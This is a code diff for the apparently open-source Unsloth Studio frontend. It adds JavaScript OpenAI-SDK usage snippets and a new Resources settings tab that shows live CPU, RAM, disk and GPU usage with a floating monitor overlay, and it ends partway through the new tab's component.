-// One-line JSON for the Windows body file (PowerShell mangles inline quotes to curl.exe).
 function winBody(model: string, variant: Variant): string {
   const body: Record<string, unknown> = {
     model,
@@ -172,7 +165,7 @@ function winBody(model: string, variant: Variant): string {
     body.enabled_tools = TOOLS;
   }
   body.stream = true;
-  return JSON.stringify(body);
+  return JSON.stringify(body, null, 2);
 }
 
 // A leading comment (valid in both bash and PowerShell) noting the model field
@@ -193,7 +186,6 @@ function curlUnix(
   -d '${shSingle(curlBodyPretty(model, variant))}'`;
 }
 
-// Windows PowerShell: curl aliases to Invoke-WebRequest, so use curl.exe + body file.
 function curlWindows(
   base: string,
   key: string,
@@ -233,7 +225,6 @@ function pythonSnippet(
   variant: Variant,
   autoSwitch: boolean,
 ): string {
-  // Standard OpenAI args are named; Unsloth extensions go through extra_body.
   const named =
     variant === "advanced"
       ? `
@@ -258,7 +249,6 @@ function pythonSnippet(
 ${extra.join("\n")}
     },`
     : "";
-  // With tools, some chunks are tool-lifecycle events with no choices; guard it.
   const loop =
     variant !== "plain"
       ? `for chunk in response:
@@ -281,6 +271,70 @@ response = client.chat.completions.create(
 ${loop}${autoSwitch ? pythonSwitchDemo() : ""}`;
 }
 
+function javascriptSnippet(
+  base: string,
+  key: string,
+  model: string,
+  variant: Variant,
+  autoSwitch: boolean,
+): string {
+  const options: string[] = [];
+  if (variant === "advanced") {
+    options.push(`  temperature: ${ADV.temperature},`);
+    options.push(`  top_p: ${ADV.top_p},`);
+    options.push(`  max_tokens: ${ADV.max_tokens},`);
+  }
+
+  // The JS SDK forwards unknown options into the request body, so these go at the
+  // top level (the Python SDK needs them under extra_body instead).
+  if (variant === "advanced") {
+    options.push(`  top_k: ${ADV.top_k},`);
+    options.push(`  min_p: ${ADV.min_p},`);
+    options.push(`  repetition_penalty: ${ADV.repetition_penalty},`);
+    options.push(`  enable_thinking: true,`);
+  }
+  if (variant !== "plain") {
+    options.push(`  enable_tools: true,`);
+    options.push(`  enabled_tools: [${toolsJson}],`);
+  }
+
+  const trailingOptions = options.length ? `\n${options.join("\n")}` : "";
+
+  return `import OpenAI from "openai";
+
+const client = new OpenAI({
+  baseURL: ${j(`${base}/v1`)},
+  apiKey: ${j(key)},
+});
+
+const response = await client.chat.completions.create({
+  model: ${j(model)},
+  messages: [{ role: "user", content: ${j(PROMPT)} }],${trailingOptions}
+  stream: true,
+});
+
+for await (const chunk of response) {
+  process.stdout.write(chunk.choices?.[0]?.delta?.content || "");
+}${autoSwitch ? javascriptSwitchDemo() : ""}`;
+}
+
+function javascriptSwitchDemo(): string {
+  return `
+
+// "Switch model by request" is on: replace the model below with another GGUF you
+// have downloaded and Studio loads it before serving. Unknown names keep serving
+// the current model.
+const switchResponse = await client.chat.completions.create({
+  model: ${j(SWITCH_MODEL)},
+  messages: [{ role: "user", content: ${j(SWITCH_PROMPT)} }],
+  stream: true,
+});
+
+for await (const chunk of switchResponse) {
+  process.stdout.write(chunk.choices?.[0]?.delta?.content || "");
+}`;
+}
+
 function buildSnippets(
   base: string,
   key: string,
@@ -292,17 +346,24 @@ function buildSnippets(
   return {
     curl: curl(base, key, model, "plain", autoSwitch),
     python: pythonSnippet(base, key, model, "plain", autoSwitch),
+    javascript: javascriptSnippet(base, key, model, "plain", autoSwitch),
     curlTools: curl(base, key, model, "tools", autoSwitch),
     pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch),
+    javascriptTools: javascriptSnippet(base, key, model, "tools", autoSwitch),
     curlAdvanced: curl(base, key, model, "advanced", autoSwitch),
     pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch),
+    javascriptAdvanced: javascriptSnippet(
+      base,
+      key,
+      model,
+      "advanced",
+      autoSwitch,
+    ),
   };
 }
 
 const KEY_PLACEHOLDER = "sk-unsloth-YOUR_KEY";
 const MODEL_FALLBACK = "unsloth/gemma-4-E4B-it-GGUF:UD-Q5_K_XL";
-
-// Default ON: when a tunnel exists, examples should show the public base_url.
 const USE_TUNNEL_KEY = "unsloth_api_use_tunnel";
 
 function readUseTunnelPref(): boolean {
@@ -319,11 +380,10 @@ function writeUseTunnelPref(value: boolean): void {
   try {
     window.localStorage.setItem(USE_TUNNEL_KEY, value ? "true" : "false");
   } catch {
-    // Non-fatal: the toggle still applies for this session.
+    // Non-fatal
   }
 }
 
-// Active local checkpoint as repo[:variant]; external/none falls back to a default.
 function useLoadedModelName(): string {
   const checkpoint = useChatRuntimeStore((s) => s.params.checkpoint);
   const ggufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
@@ -338,7 +398,6 @@ function useLoadedModelName(): string {
   }, [checkpoint, ggufVariant]);
 }
 
-// shiki highlighting via the app's shared code plugin + themes (same as chat).
 const SHIKI_THEMES = [unslothLightTheme, unslothDarkTheme] as [
   typeof unslothLightTheme,
   typeof unslothDarkTheme,
@@ -352,7 +411,6 @@ function HighlightedCode({
   code: string;
   language: string;
 }) {
-  // Fence so Streamdown's shiki plugin highlights it (no markdown inside a fence).
   const markdown = useMemo(
     () => `\`\`\`${language}\n${code}\n\`\`\``,
     [code, language],
@@ -390,7 +448,6 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   );
   const [savingAutoSwitch, setSavingAutoSwitch] = useState(false);
 
-  // Tunnel may start after the first /api/health read; refresh so it surfaces here.
   useEffect(() => {
     void fetchDeviceType({ force: true });
   }, []);
@@ -410,10 +467,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   }, []);
 
   const model = useLoadedModelName();
-  // Real key while revealed (before "Done"); otherwise a placeholder.
   const key = apiKey || KEY_PLACEHOLDER;
-  // Toggle on + tunnel up: public tunnel URL. Off: backend direct host:port
-  // (origin is only a last-resort fallback).
   const origin = typeof window !== "undefined" ? window.location.origin : "";
   const base =
     useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
@@ -429,7 +483,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     ? os === "windows"
       ? "powershell"
       : "bash"
-    : "python";
+    : JAVASCRIPT_TYPES.has(lang)
+      ? "javascript"
+      : "python";
 
   const handleCopy = async () => {
     if (await copyToClipboard(snippets[lang])) {
@@ -539,8 +595,6 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                 </Tooltip>
               )}
             </div>
-            {/* Always rendered (dimmed when off) so toggling never changes the
-                row height and shifts the code block below. */}
             <button
               type="button"
               onClick={handleCopyUrl}
@@ -629,9 +683,6 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
             />
             {copied ? t("settings.apiKeys.copied") : t("settings.apiKeys.copy")}
           </button>
-          {/* key on the snippet so Streamdown remounts and re-highlights when
-              only a substring (e.g. the base URL) changes; its block memo
-              otherwise keeps the stale render. */}
           <HighlightedCode
             key={snippets[lang]}
             code={snippets[lang]}
diff --git a/studio/frontend/src/features/settings/settings-dialog.tsx b/studio/frontend/src/features/settings/settings-dialog.tsx
index 0ee0dd0a7c..0d201edc0d 100644
--- a/studio/frontend/src/features/settings/settings-dialog.tsx
+++ b/studio/frontend/src/features/settings/settings-dialog.tsx
@@ -12,6 +12,7 @@ import { cn } from "@/lib/utils";
 import {
   Cancel01Icon,
   CloudIcon,
+  CpuIcon,
   Globe02Icon,
   HelpCircleIcon,
   Message01Icon,
@@ -33,6 +34,8 @@ import { ChatTab } from "./tabs/chat-tab";
 import { ConnectionsTab } from "./tabs/connections-tab";
 import { GeneralTab } from "./tabs/general-tab";
 import { ProfileTab } from "./tabs/profile-tab";
+import { ResourcesTab } from "./tabs/resources-tab";
+import { FloatingMonitor } from "@/components/floating-monitor";
 
 interface TabDef {
   id: SettingsTab;
@@ -49,6 +52,11 @@ const TABS: TabDef[] = [
     labelKey: "settings.tabs.appearance",
     icon: PaintBrush02Icon,
   },
+  {
+    id: "resources",
+    labelKey: "settings.tabs.resources",
+    icon: CpuIcon,
+  },
   {
     id: "chat",
     labelKey: "settings.tabs.chat",
@@ -77,6 +85,8 @@ function renderTab(tab: SettingsTab) {
       return <ProfileTab />;
     case "appearance":
       return <AppearanceTab />;
+    case "resources":
+      return <ResourcesTab />;
     case "chat":
       return <ChatTab />;
     case "connections":
@@ -100,6 +110,7 @@ export function SettingsDialog() {
     general: null,
     profile: null,
     appearance: null,
+    resources: null,
     chat: null,
     connections: null,
     "api-keys": null,
@@ -115,110 +126,113 @@ export function SettingsDialog() {
   }, [open, activeTab]);
 
   return (
-    <Dialog open={open} onOpenChange={(o) => !o && closeDialog()}>
-      <DialogContent
-        showCloseButton={false}
-        overlayClassName="bg-black/30 supports-backdrop-filter:backdrop-blur-[2px]"
-        onCloseAutoFocus={(e) => {
-          // Restore focus to the element that triggered openDialog(). Radix's
-          // FocusScope races our rAF-scheduled tab focus and loses the
-          // previous-focus reference, so restore it by hand.
-          if (opener && opener.isConnected) {
-            e.preventDefault();
-            opener.focus({ preventScroll: true });
-          }
-        }}
-        className={cn(
-          // Cap at 820px but shrink to the viewport so it doesn't clip on
-          // iPad-portrait widths (640-820px) where fixed `w-[820px]` overflows.
-          "settings-surface !max-w-[min(820px,calc(100vw-2rem))] h-[560px] w-[min(820px,calc(100vw-2rem))] p-0 overflow-hidden",
-          // Soft shadow, no outline ring. Pin --radius to the light value so
-          // corner rounding matches in dark mode.
-          "shadow-border rounded-xl ring-0 [--radius:1.1rem]",
-          "max-sm:h-dvh max-sm:w-dvw max-sm:!max-w-none max-sm:rounded-none",
-        )}
-      >
-        <DialogTitle className="sr-only">
-          {t("settings.dialog.title")}
-        </DialogTitle>
-        <DialogDescription className="sr-only">
-          {t("settings.dialog.description")}
-        </DialogDescription>
-        <div className="flex h-full min-h-0 max-sm:flex-col">
-          <aside className="font-heading flex w-[216px] shrink-0 flex-col border-r border-sidebar-border bg-muted/20 p-2 dark:border-r-0 max-sm:w-full max-sm:border-r-0 max-sm:border-b max-sm:border-sidebar-border">
-            <h2 className="pl-3 pr-2.5 pt-3.5 pb-3.5 text-[19px] font-semibold text-foreground max-sm:hidden">
-              {t("settings.dialog.title")}
-            </h2>
-            <nav className="flex flex-col gap-0.5 max-sm:flex-row max-sm:overflow-x-auto">
-              {TABS.map((tab) => {
-                const active = activeTab === tab.id;
-                return (
-                  <button
-                    key={tab.id}
-                    ref={(node) => {
-                      tabButtonRefs.current[tab.id] = node;
-                    }}
-                    type="button"
-                    onClick={() => setActiveTab(tab.id)}
-                    className={cn(
-                      "relative flex h-[32px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-[14.5px] leading-[19px] tracking-nav font-medium transition-colors",
-                      "max-sm:shrink-0",
-                      "focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background",
-                      active
-                        ? "text-black dark:text-white"
-                        : "text-[#383835] dark:text-[#c7c7c4] hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white",
-                    )}
-                  >
-                    {active && (
-                      <motion.span
-                        layoutId="settings-active-pill"
-                        className="absolute inset-0 rounded-full bg-[#ececec] dark:bg-[#3a3d43]"
-                        transition={
-                          reduced
-                            ? { duration: 0 }
-                            : {
+    <>
+      <Dialog open={open} onOpenChange={(o) => !o && closeDialog()}>
+        <DialogContent
+          showCloseButton={false}
+          overlayClassName="bg-black/30 supports-backdrop-filter:backdrop-blur-[2px]"
+          onCloseAutoFocus={(e) => {
+            // Restore focus to the element that triggered openDialog(). Radix's
+            // FocusScope races our rAF-scheduled tab focus and loses the
+            // previous-focus reference, so restore it by hand.
+            if (opener && opener.isConnected) {
+              e.preventDefault();
+              opener.focus({ preventScroll: true });
+            }
+          }}
+          className={cn(
+            // Cap at 820px but shrink to the viewport so it doesn't clip on
+            // iPad-portrait widths (640-820px) where fixed `w-[820px]` overflows.
+            "settings-surface !max-w-[min(820px,calc(100vw-2rem))] h-[560px] w-[min(820px,calc(100vw-2rem))] p-0 overflow-hidden",
+            // Soft shadow, no outline ring. Pin --radius to the light value so
+            // corner rounding matches in dark mode.
+            "shadow-border rounded-xl ring-0 [--radius:1.1rem]",
+            "max-sm:h-dvh max-sm:w-dvw max-sm:!max-w-none max-sm:rounded-none",
+          )}
+        >
+          <DialogTitle className="sr-only">
+            {t("settings.dialog.title")}
+          </DialogTitle>
+          <DialogDescription className="sr-only">
+            {t("settings.dialog.description")}
+          </DialogDescription>
+          <div className="flex h-full min-h-0 max-sm:flex-col">
+            <aside className="font-heading flex w-[216px] shrink-0 flex-col border-r border-sidebar-border bg-muted/20 p-2 dark:border-r-0 max-sm:w-full max-sm:border-r-0 max-sm:border-b max-sm:border-sidebar-border">
+              <h2 className="pl-3 pr-2.5 pt-3.5 pb-3.5 text-[19px] font-semibold text-foreground max-sm:hidden">
+                {t("settings.dialog.title")}
+              </h2>
+              <nav className="flex flex-col gap-0.5 max-sm:flex-row max-sm:overflow-x-auto">
+                {TABS.map((tab) => {
+                  const active = activeTab === tab.id;
+                  return (
+                    <button
+                      key={tab.id}
+                      ref={(node) => {
+                        tabButtonRefs.current[tab.id] = node;
+                      }}
+                      type="button"
+                      onClick={() => setActiveTab(tab.id)}
+                      className={cn(
+                        "relative flex h-[32px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-[14.5px] leading-[19px] tracking-nav font-medium transition-colors",
+                        "max-sm:shrink-0",
+                        "focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background",
+                        active
+                          ? "text-black dark:text-white"
+                          : "text-[#383835] dark:text-[#c7c7c4] hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white",
+                      )}
+                    >
+                      {active && (
+                        <motion.span
+                          layoutId="settings-active-pill"
+                          className="absolute inset-0 rounded-full bg-[#ececec] dark:bg-[#3a3d43]"
+                          transition={
+                            reduced
+                              ? { duration: 0 }
+                              : {
                                 type: "spring",
                                 stiffness: 500,
                                 damping: 35,
                                 mass: 0.5,
                               }
-                        }
+                          }
+                        />
+                      )}
+                      <HugeiconsIcon
+                        icon={tab.icon}
+                        strokeWidth={1.75}
+                        className="relative z-10 size-icon"
                       />
-                    )}
-                    <HugeiconsIcon
-                      icon={tab.icon}
-                      strokeWidth={1.75}
-                      className="relative z-10 size-icon"
-                    />
-                    <span className="relative z-10 min-w-0 truncate">
-                      {t(tab.labelKey)}
-                    </span>
-                    {tab.badgeKey ? (
-                      <span className="relative z-10 ml-auto rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] leading-none font-semibold text-emerald-700 dark:text-emerald-300">
-                        {t(tab.badgeKey)}
+                      <span className="relative z-10 min-w-0 truncate">
+                        {t(tab.labelKey)}
                       </span>
-                    ) : null}
-                  </button>
-                );
-              })}
-            </nav>
-          </aside>
+                      {tab.badgeKey ? (
+                        <span className="relative z-10 ml-auto rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] leading-none font-semibold text-emerald-700 dark:text-emerald-300">
+                          {t(tab.badgeKey)}
+                        </span>
+                      ) : null}
+                    </button>
+                  );
+                })}
+              </nav>
+            </aside>
 
-          <main className="relative flex min-h-0 min-w-0 flex-1 flex-col">
-            <button
-              type="button"
-              onClick={closeDialog}
-              className="absolute top-3 right-3 z-10 flex size-7 items-center justify-center rounded-full text-[#383835] dark:text-[#c7c7c4] transition-colors hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
-              aria-label={t("settings.dialog.closeAriaLabel")}
-            >
-              <HugeiconsIcon icon={Cancel01Icon} className="size-4" />
-            </button>
-            <div className="hover-scrollbar flex min-h-0 min-w-0 flex-1 flex-col overflow-y-auto p-6 [scrollbar-gutter:stable]">
-              {renderTab(activeTab)}
-            </div>
-          </main>
-        </div>
-      </DialogContent>
-    </Dialog>
+            <main className="relative flex min-h-0 min-w-0 flex-1 flex-col">
+              <button
+                type="button"
+                onClick={closeDialog}
+                className="absolute top-3 right-3 z-10 flex size-7 items-center justify-center rounded-full text-[#383835] dark:text-[#c7c7c4] transition-colors hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                aria-label={t("settings.dialog.closeAriaLabel")}
+              >
+                <HugeiconsIcon icon={Cancel01Icon} className="size-4" />
+              </button>
+              <div className="hover-scrollbar flex min-h-0 min-w-0 flex-1 flex-col overflow-y-auto p-6 [scrollbar-gutter:stable]">
+                {renderTab(activeTab)}
+              </div>
+            </main>
+          </div>
+        </DialogContent>
+      </Dialog>
+      <FloatingMonitor />
+    </>
   );
 }
diff --git a/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts
new file mode 100644
index 0000000000..1af804a19e
--- /dev/null
+++ b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts
@@ -0,0 +1,24 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { persist } from "zustand/middleware";
+
+interface MonitorOverlayState {
+  isOpen: boolean;
+  isMinimized: boolean;
+  setIsOpen: (open: boolean) => void;
+  toggleMinimized: () => void;
+}
+
+export const useMonitorOverlayStore = create<MonitorOverlayState>()(
+  persist(
+    (set) => ({
+      isOpen: false,
+      isMinimized: false,
+      setIsOpen: (isOpen) => set({ isOpen }),
+      toggleMinimized: () => set((state) => ({ isMinimized: !state.isMinimized })),
+    }),
+    { name: "unsloth_monitor_overlay" }
+  )
+);
\ No newline at end of file
diff --git a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
index 7fab580f3c..234e92b3d0 100644
--- a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
+++ b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts
@@ -7,6 +7,7 @@ export type SettingsTab =
   | "general"
   | "profile"
   | "appearance"
+  | "resources"
   | "chat"
   | "connections"
   | "api-keys"
@@ -60,6 +61,7 @@ function loadInitialTab(): SettingsTab {
     "general",
     "profile",
     "appearance",
+    "resources",
     "chat",
     "connections",
     "api-keys",
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index ce69f3d910..df684b7752 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -104,6 +104,7 @@ const PREFS_KEYS: string[] = [
   "tour:studio:v1",
   // Update notifications
   "unsloth_show_llama_update_banner",
+  "unsloth_monitor_overlay",
 ];
 
 // Set by resetAllPrefs so the unmount-commit effect skips writing back the
diff --git a/studio/frontend/src/features/settings/tabs/resources-tab.tsx b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
new file mode 100644
index 0000000000..d5e19cc51c
--- /dev/null
+++ b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
@@ -0,0 +1,477 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Progress } from "@/components/ui/progress";
+import { Switch } from "@/components/ui/switch";
+import { openModelsDir } from "@/features/native-intents";
+import { useSystemInfo, type GpuDevice } from "@/hooks/use-system";
+import { isTauri } from "@/lib/api-base";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
+import { useT } from "@/i18n";
+import { useEffect, useMemo, useState } from "react";
+import { loadModelsFolder, type ModelsFolder } from "../api/models-folder";
+import { SettingsRow } from "../components/settings-row";
+import { SettingsSection } from "../components/settings-section";
+import { useMonitorOverlayStore } from "../stores/monitor-overlay-store";
+import { LayersIcon } from "lucide-react";
+
+const POLL_MS = 3000;
+
+function isFiniteNumber(value: number | null | undefined): value is number {
+  return typeof value === "number" && Number.isFinite(value);
+}
+
+function clampPercent(value: number | null | undefined): number {
+  if (!isFiniteNumber(value)) return 0;
+  return Math.max(0, Math.min(100, value));
+}
+
+function usageIndicatorClass(percent: number): string {
+  if (percent >= 90) return "bg-destructive";
+  if (percent >= 70) return "bg-amber-500";
+  return "bg-primary";
+}
+
+function usageTextClass(percent: number): string {
+  if (percent >= 90) return "text-destructive";
+  if (percent >= 70) return "text-amber-600 dark:text-amber-400";
+  return "text-primary";
+}
+
+function formatGb(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  const digits = safe >= 10 ? 1 : 2;
+  return `${safe.toFixed(digits)} GB`;
+}
+
+function formatMb(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  return `${Math.round(safe).toLocaleString()} MB`;
+}
+
+function formatPercent(value: number | null | undefined): string {
+  return `${Math.round(clampPercent(value))}%`;
+}
+
+function formatFrequency(mhz: number | null | undefined): string | null {
+  if (!isFiniteNumber(mhz) || mhz <= 0) return null;
+  if (mhz >= 1000) return `${(mhz / 1000).toFixed(2)} GHz`;
+  return `${Math.round(mhz)} MHz`;
+}
+
+function formatUptime(seconds: number | null | undefined): string {
+  if (!isFiniteNumber(seconds) || seconds <= 0) return "0m";
+  const minutes = Math.floor(seconds / 60);
+  const hours = Math.floor(minutes / 60);
+  const days = Math.floor(hours / 24);
+  if (days > 0) return `${days}d ${hours % 24}h`;
+  if (hours > 0) return `${hours}h ${minutes % 60}m`;
+  return `${Math.max(1, minutes)}m`;
+}
+
+function MetricTile({
+  label,
+  value,
+  detail,
+  percent,
+}: {
+  label: string;
+  value: string;
+  detail: string;
+  percent: number;
+}) {
+  const safePercent = clampPercent(percent);
+  return (
+    <div className="flex min-w-0 flex-col gap-2 rounded-md border border-border/60 bg-muted/20 p-3">
+      <div className="flex items-center justify-between gap-3">
+        <span className="truncate text-[11px] font-semibold uppercase tracking-[0.08em] text-muted-foreground">
+          {label}
+        </span>
+        <span
+          className={cn(
+            "shrink-0 font-mono text-xs tabular-nums",
+            usageTextClass(safePercent),
+          )}
+        >
+          {formatPercent(safePercent)}
+        </span>
+      </div>
+      <div className="min-w-0">
+        <div className="truncate font-mono text-sm tabular-nums text-foreground">
+          {value}
+        </div>
+        <div className="mt-0.5 truncate text-xs text-muted-foreground">
+          {detail}
+        </div>
+      </div>
+      <Progress
+        value={safePercent}
+        aria-label={label}
+        className="h-1.5 rounded-full bg-muted"
+        indicatorClassName={usageIndicatorClass(safePercent)}
+      />
+    </div>
+  );
+}
+
+function InfoRow({
+  label,
+  value,
+  detail,
+}: {
+  label: string;
+  value: string;
+  detail?: string;
+}) {
+  return (
+    <div className="flex min-w-0 items-center justify-between gap-4 py-2.5">
+      <span className="min-w-0 truncate text-sm font-medium text-foreground">
+        {label}
+      </span>
+      <span
+        title={detail ?? value}
+        className="min-w-0 max-w-[60%] truncate text-right font-mono text-xs tabular-nums text-muted-foreground"
+      >
+        {detail ? `${value} (${detail})` : value}
+      </span>
+    </div>
+  );
+}
+
+function deviceOrdinal(device: GpuDevice): number | undefined {
+  return device.visible_ordinal ?? device.index;
+}
+
+export function ResourcesTab() {
+  const t = useT();
+  const [liveUpdates, setLiveUpdates] = useState(true);
+  const { isOpen, setIsOpen } = useMonitorOverlayStore();
+  const systemInfo = useSystemInfo({
+    enabled: liveUpdates,
+    pollMs: liveUpdates ? POLL_MS : undefined,
+  });
+  const [modelsFolder, setModelsFolder] = useState<ModelsFolder | null>(null);
+  const [modelsFolderLoaded, setModelsFolderLoaded] = useState(false);
+
+  useEffect(() => {
+    let cancelled = false;
+    void loadModelsFolder()
+      .then((folder) => {
+        if (cancelled) return;
+        setModelsFolder(folder);
+        setModelsFolderLoaded(true);
+      })
+      .catch(() => {
+        if (cancelled) return;
+        setModelsFolderLoaded(true);
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, []);
+
+  const metrics = useMemo(() => {
+    const devices = systemInfo.gpu?.devices ?? [];
+    const ramTotal = systemInfo.memory?.total_gb ?? 0;
+    const ramAvailable = systemInfo.memory?.available_gb ?? 0;
+    const ramUsed = Math.max(0, ramTotal - ramAvailable);
+    const diskTotal = systemInfo.disk?.total_gb ?? 0;
+    const diskFree = systemInfo.disk?.free_gb ?? 0;
+    const diskUsed = Math.max(0, diskTotal - diskFree);
+    const vramTotal = devices.reduce(
+      (sum, device) => sum + (device.memory_total_gb ?? 0),
+      0,
+    );
+    const vramUsed = devices.reduce(
+      (sum, device) => sum + (device.vram_used_gb ?? 0),
+      0,
+    );
+    const vramFree = devices.reduce(
+      (sum, device) =>
+        sum +
+        (device.vram_free_gb ??
+          Math.max(0, (device.memory_total_gb ?? 0) - (device.vram_used_gb ?? 0))),
+      0,
+    );
+    const vramPercent = vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0;
+
+    return {
+      devices,
+      ramTotal,
+      ramUsed,
+      diskTotal,
+      diskFree,
+      diskUsed,
+      vramTotal,
+      vramUsed,
+      vramFree,
+      vramPercent,
+    };
+  }, [systemInfo]);
+
+  const handleModelsFolder = async () => {
+    const folder = modelsFolder;
+    if (!folder) return;
+    if (isTauri) {
+      try {
+        await openModelsDir(folder.path);
+      } catch (error) {
+        toast.error(t("settings.resources.storage.openError"), {
+          description: error instanceof Error ? error.message : undefined,
+        });
+      }
+      return;
+    }
+    if (await copyToClipboard(folder.path)) {
+      toast.success(t("settings.resources.storage.copied"));
+    } else {
+      toast.error(t("settings.resources.storage.copyError"));
+    }
+  };
+
+  const cpuCoresLabel =
+    systemInfo.cpu?.logical_count && systemInfo.cpu?.physical_count
+      ? t("settings.resources.liveMonitor.cpuCores", {
+          logical: systemInfo.cpu.logical_count,
+          physical: systemInfo.cpu.physical_count,
+        })
+      : t("settings.resources.environment.unknown");
+  const cpuFrequencyLabel = formatFrequency(systemInfo.cpu?.frequency_mhz);
+  const hasGpu =
+    (systemInfo.gpu?.available ?? false) && metrics.devices.length > 0;
+  const backendLabel = (
+    systemInfo.gpu?.backend ?? systemInfo.device_backend ?? "cpu"
+  ).toUpperCase();
+  const modelsFolderPath = modelsFolder
+    ? modelsFolder.path
+    : modelsFolderLoaded
+      ? t("settings.resources.environment.unknown")
+      : t("common.loading");
+
+  return (
+    <div className="flex flex-col gap-6">
+      <header className="flex flex-wrap items-start justify-between gap-3">
+        <div className="flex min-w-0 flex-col gap-1">
+          <h1 className="text-xl font-semibold font-heading">
+            {t("settings.resources.title")}
+          </h1>
+          <p className="text-xs text-muted-foreground">
+            {t("settings.resources.description")}
+          </p>
+        </div>
+        <div className="flex items-center gap-3">
+          <Button
+            variant={isOpen ? "secondary" : "outline"}
+            size="sm"
+            className="gap-1.5 h-8 text-xs rounded-full px-3"
+            onClick={() => setIsOpen(!isOpen)}
+          >
+            <LayersIcon className="size-3.5" />
+            {isOpen
+              ? t("settings.resources.disableOverlay")
+              : t("settings.resources.floatingWindow")}
+          </Button>
+
+          <div className="flex shrink-0 items-center gap-2 rounded-full border border-border/60 px-2.5 py-1.5 text-xs font-medium text-foreground">
+            <span>{t("settings.resources.liveUpdates")}</span>
+            <Switch
+              aria-label={t("settings.resources.liveUpdates")}
+              checked={liveUpdates}
+              onCheckedChange={setLiveUpdates}
+            />
+          </div>
+        </div>
+      </header>
+
+      <SettingsSection title={t("settings.resources.liveMonitor.title")}>
+        <div className="grid gap-2 py-3 sm:grid-cols-2">
+          <MetricTile
+            label={t("settings.resources.liveMonitor.cpu")}
+            value={cpuFrequencyLabel ?? cpuCoresLabel}
+            detail={
+              cpuFrequencyLabel
+                ? cpuCoresLabel
+                : t("settings.resources.liveMonitor.currentLoad")
+            }
+            percent={systemInfo.cpu?.usage_percent ?? 0}
+          />
+          <MetricTile
+            label={t("settings.resources.liveMonitor.ram")}
+            value={`${formatGb(metrics.ramUsed)} / ${formatGb(metrics.ramTotal)}`}
+            detail={t("settings.resources.liveMonitor.free", {
+              value: formatGb(systemInfo.memory?.available_gb),
+            })}
+            percent={systemInfo.memory?.percent_used ?? 0}
+          />
+          <MetricTile
+            label={t("settings.resources.liveMonitor.disk")}
+            value={`${formatGb(metrics.diskUsed)} / ${formatGb(metrics.diskTotal)}`}
+            detail={t("settings.resources.liveMonitor.free", {
+              value: formatGb(metrics.diskFree),
+            })}
+            percent={systemInfo.disk?.percent_used ?? 0}
+          />
+          <MetricTile
+            label={t("settings.resources.liveMonitor.vram")}
+            value={
+              hasGpu
+                ? `${formatGb(metrics.vramUsed)} / ${formatGb(metrics.vramTotal)}`
+                : t("settings.resources.liveMonitor.noGpu")
+            }
+            detail={
+              hasGpu
+                ? t("settings.resources.liveMonitor.free", {
+                    value: formatGb(metrics.vramFree),
+                  })
+                : backendLabel
+            }
+            percent={metrics.vramPercent}
+          />
+        </div>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.resources.gpu.title")}>
+        {hasGpu ? (
+          metrics.devices.map((device, index) => {
+            const ordinal = deviceOrdinal(device);
+            const total = device.memory_total_gb ?? 0;
+            const used = device.vram_used_gb ?? 0;
+            const free = device.vram_free_gb ?? Math.max(0, total - used);
+            const percent =
+              device.vram_utilization_pct ??
+              (total > 0 ? (used / total) * 100 : null);
+            const safePercent = clampPercent(percent);
+            return (
+              <div
+                key={`${device.index ?? index}-${device.name ?? "gpu"}`}
+                className="flex min-w-0 flex-col gap-2 py-3"
+              >
+                <div className="flex min-w-0 items-start justify-between gap-4">
+                  <div className="min-w-0 flex-1">
+                    <div className="truncate text-sm font-medium text-foreground">
+                      {device.name ??
+                        t("settings.resources.gpu.unknownDevice")}
+                    </div>
+                    <div className="mt-0.5 truncate text-xs text-muted-foreground">
